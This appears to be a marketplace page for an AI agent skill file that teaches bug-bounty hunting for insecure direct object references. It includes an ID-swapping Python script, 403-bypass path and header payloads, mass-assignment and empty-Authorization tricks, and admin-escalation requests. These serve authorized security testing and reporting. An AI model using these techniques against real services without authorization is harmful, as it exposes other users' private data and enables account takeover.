本文へ移動
cccskills
無料GitHub で公開

idor-hunting

Hunt Insecure Direct Object Reference (IDOR) — test horizontal and vertical privilege escalation across user IDs, org IDs, tenant boundaries, and unguessable identifiers. Use when the user has an API endpoint with an identifier in the path/body that may be tested for unauthorized cross-user access.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md9.6 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

IDOR Hunting

Single most paid vuln class in BB history. Boring to test, lucrative to find.

When to invoke

Trigger phrases:

  • "test IDOR"
  • "find IDOR in X"
  • "is this endpoint vulnerable to IDOR"
  • "cross-tenant"
  • "object reference"

Pre-requisites

You need two accounts in different trust zones to test most IDOR:

  • Two separate user accounts (horizontal IDOR)
  • Two accounts in different orgs/teams (cross-tenant IDOR)
  • User + admin (vertical privilege escalation)
  • User + guest (read-only role bypass)

Best setup: Account A (attacker) and Account B (victim) in separate browser profiles or with Burp's Cookie Jar feature.

The 5 IDOR patterns

Pattern 1: Sequential numeric IDs

GET /api/v3/user/12345/profile  ← logged in as user 12345
GET /api/v3/user/12346/profile  ← can you read?

Fix: rotate the trailing number in Burp Intruder, look for 200 + populated data.

Pattern 2: UUID / opaque IDs

GET /api/v3/document/3f8c7b2a-1234-5678-9abc-def012345678

"UUIDs prevent IDOR" — myth. UUIDs leak via:

  • URL sharing
  • Email notifications (your account's UUID for someone else's doc)
  • WebSocket messages
  • Search results that include other users' docs
  • Source maps
  • Stripe/Twilio webhooks
  • The Referer header

Hunt: collect UUIDs from your other accounts → swap.

Pattern 3: Indirect references (encoded IDs)

GET /api/v3/order?id=eyJ1c2VyIjoiMTIzIn0=    ← base64
GET /api/v3/order?id=md5_of_user_id

Decode first:

echo "eyJ1c2VyIjoiMTIzIn0=" | base64 -d
# {"user":"123"}

Then modify and re-encode.

Pattern 4: Multi-parameter IDOR

POST /api/v3/transfer
{
  "from_account": 12345,    ← your account
  "to_account": 12346,
  "amount": 50
}

Hunt: swap from_account to another user's ID → unauthorized money movement?

Pattern 5: HTTP method confusion (METHOD IDOR)

GET /api/v3/user/12346      ← 403 forbidden
POST /api/v3/user/12346     ← but POST works
PUT /api/v3/user/12346      ← or PUT
PATCH /api/v3/user/12346    ← or PATCH
DELETE /api/v3/user/12346   ← or DELETE

Step-by-Step Workflow

1. Map identified endpoints

From [[js-analysis]] and [[content-discovery]] outputs:

# Filter URLs containing identifiers
cat endpoints-live.txt | grep -E '/[a-f0-9-]{36}|/[0-9]+/|/uuid/|/[a-zA-Z0-9_-]{16,}/' > idor-candidates.txt

2. Create test accounts (a + b)

For each application:

  • Sign up as attacker@yopmail.com (Account A)
  • Sign up as victim@yopmail.com (Account B)
  • Note: user IDs, org IDs, project IDs, document IDs of each

3. Capture victim's IDs

Log in as B, capture:

  • User profile ID
  • Org ID
  • Any document/project/order IDs they created
  • Their email and username

Log out.

4. Log in as A, attempt cross-access

Method 1: Burp Match & Replace (semi-auto)

Match:   /api/v3/user/AAAAAAA-USER-A-UUID
Replace: /api/v3/user/BBBBBBB-USER-B-UUID

Browse the app normally — every endpoint with A's ID gets swapped to B's.

Method 2: Burp Autorize extension (recommended)

  • Configure with Account A's cookies (active session)
  • Provide Account B's request templates ("unauthenticated" template) in Autorize
  • Walk through the app → Autorize replays each request with no cookies / B's cookies
  • Auto-marks endpoints as "Auth bypass possible" or "Auth correctly enforced"

Method 3: scripted with Python

import requests

# Session A (attacker)
sA = requests.Session()
sA.cookies.set('session', 'A_SESSION_COOKIE', domain='target.com')

# Victim B's IDs
B_USER_ID = 'BBBBBBB-USER-B-UUID'

# Try IDOR
endpoints = [
    f'/api/v3/user/{B_USER_ID}',
    f'/api/v3/user/{B_USER_ID}/profile',
    f'/api/v3/user/{B_USER_ID}/email',
    f'/api/v3/user/{B_USER_ID}/orders',
    f'/api/v3/user/{B_USER_ID}/notifications',
    f'/api/v3/user/{B_USER_ID}/billing',
]
for ep in endpoints:
    r = sA.get(f'https://app.target.com{ep}')
    if r.status_code == 200 and B_USER_ID in r.text:
        print(f'[IDOR] {ep}\n{r.text[:300]}\n')

5. Try BOLA (Broken Object-Level Authorization) — OWASP API #1

Beyond simple IDOR, test:

  • Read someone's object
  • Modify someone's object (PATCH/PUT)
  • Delete someone's object (DELETE)
  • Add yourself to someone's resource
  • Add someone to your resource (force them into a relationship)

6. Bypass tricks when straight swap fails

If /api/v3/user/12346 returns 403, try:

# Path manipulation
/api/v3/user/12346/
/api/v3/user/12346/.
/api/v3/user/12346/..
/api/v3/user//12346
/api/v3/user/12346%00
/api/v3/user/12346..json
/api/v3/user/12346.json
/api/v3/user/12345/../12346

# HTTP method
GET → POST/PUT/PATCH/DELETE/OPTIONS

# Headers
X-Original-URL: /api/v3/user/12346
X-Rewrite-URL: /api/v3/user/12346
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: internal.target.com
X-Custom-IP-Authorization: 127.0.0.1
Referer: https://app.target.com/admin
X-Original-Method: GET

# Parameter
?user_id=12346     (in addition to path)
?_method=PUT
?role=admin

# Mass assignment with extra fields
{"id": 12345, "user_id": 12346, "role": "admin"}

# JSON parameter pollution
{"user_id": 12345, "user_id": 12346}  ← which wins?

# Wildcard / array
{"user_id": ["*"]}
{"user_id": [12345, 12346]}

# Authorization header tricks
Authorization: Bearer null
Authorization: Bearer undefined
Authorization:           ← empty
Cookie: session=         ← empty

7. Vertical IDOR (privilege escalation)

Find admin-only endpoints from [[js-analysis]]:

grep -hiE 'admin|manage|delete-user|set-role|invite|approve|reject' endpoints.txt

Test as low-priv user:

  • POST /api/v3/admin/users/12345/set-role {"role": "admin"}
  • POST /api/v3/admin/billing/refund {"amount": 999999}

Bug Bounty payout examples

Real H1 / BC reports show:

SeverityExample IDORTypical bounty
LowRead other user's display name$50-200
MediumRead other user's email + profile$300-800
HighRead other user's documents / messages$1k-3k
HighModify other user's settings (account hijack)$2k-5k
CriticalCross-tenant data access (whole org's data)$5k-15k
CriticalAdmin function reachable by user (delete users / refund money)$10k-30k

Output template

## IDOR: <one-line description>

**Endpoint:** `GET /api/v3/user/{user_id}/notifications`
**Test accounts:**
- Account A: user_id = `AAAA-A`
- Account B: user_id = `BBBB-B`

**PoC:**
1. Log in as Account A
2. Send request: `GET /api/v3/user/BBBB-B/notifications`
3. Response includes Account B's notifications, emails, and unread counts

**Cookies used (Account A's session):**

session=eyJhbGc...


**Response excerpt (Account B's private data exposed):**
```json
{
  "user_id": "BBBB-B",
  "notifications": [
    {"id": 1, "text": "Your invoice 4567 is paid", "email": "victim@example.com"}
  ]
}

Impact:

  • Any user can read any other user's notifications, including:
    • Email addresses (PII)
    • Invoice / order IDs (financial data hint)
    • Internal mentions / messages
  • Affects all 2M+ accounts.

Suggested fix:

  • Validate request.user.id == path.user_id on this endpoint.
  • Apply same check on /profile, /email, /orders (likely affected).

## Cross-references

- `[[auth-bypass]]` — when straight IDOR fails, try auth bypass tricks
- `[[ato-chains]]` — IDOR that leads to account takeover
- `[[business-logic]]` — IDOR + state mutation = logic bug
- `[[graphql]]` — IDOR is rampant in GraphQL (field-level)
- `[[hackerone-reporting]]` — IDOR report template

## Common pitfalls

1. **Testing with one account.** No comparison → no proof.
2. **Reporting unauth read of public data.** Some `/user/{id}/profile` returns are intentionally public. Verify.
3. **Confusing 404 for "fixed".** 404 might mean "different user → resource not found", which is actually different from "blocked".
4. **Not testing PUT/DELETE/PATCH.** Read IDOR is common; write IDOR is rare + critical.
5. **Reporting without impact framing.** "I read another user's display name" → likely informative. Add chain (read email → ATO).

## Always-rejected variant

**Don't report:**
- Reading data that's marked public (test before reporting)
- Reading your own data via someone else's identifier (no actual cross-access)
- "Self IDOR" (URL contains your ID and works — that's correct)
- IDOR where the "other ID" must be guessed and is high-entropy AND not leakable

## Autorize setup (Burp extension)

1. Install Autorize from BApp Store
2. Open Autorize tab
3. Configure:
   - **Cookies for "Low Privilege"**: leave empty (= unauthenticated)
   - **Cookies for "Unauthenticated"**: paste Account A's session cookies
4. Click "Autorize is off" → toggle on
5. Browse target as Account B
6. Autorize replays each request as A and unauth, marks results

Color codes:
- 🟢 Green = correctly enforced (no bug)
- 🔴 Red = bypassed (potential IDOR)
- 🟡 Yellow = needs manual verification

## Chained IDOR (mention in report for higher severity)

IDOR (read email) → password reset → ATO [chain doc in [[ato-chains]]] IDOR (read OTP) → 2FA bypass → ATO [chain doc in [[auth-bypass]]] IDOR (read API key) → full account access [report as ATO directly] IDOR (write user.role) → privilege escalation [vertical IDOR + mass assignment]

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

0xGhostCAT のスキルをすべて見る

このスキルの問題を報告する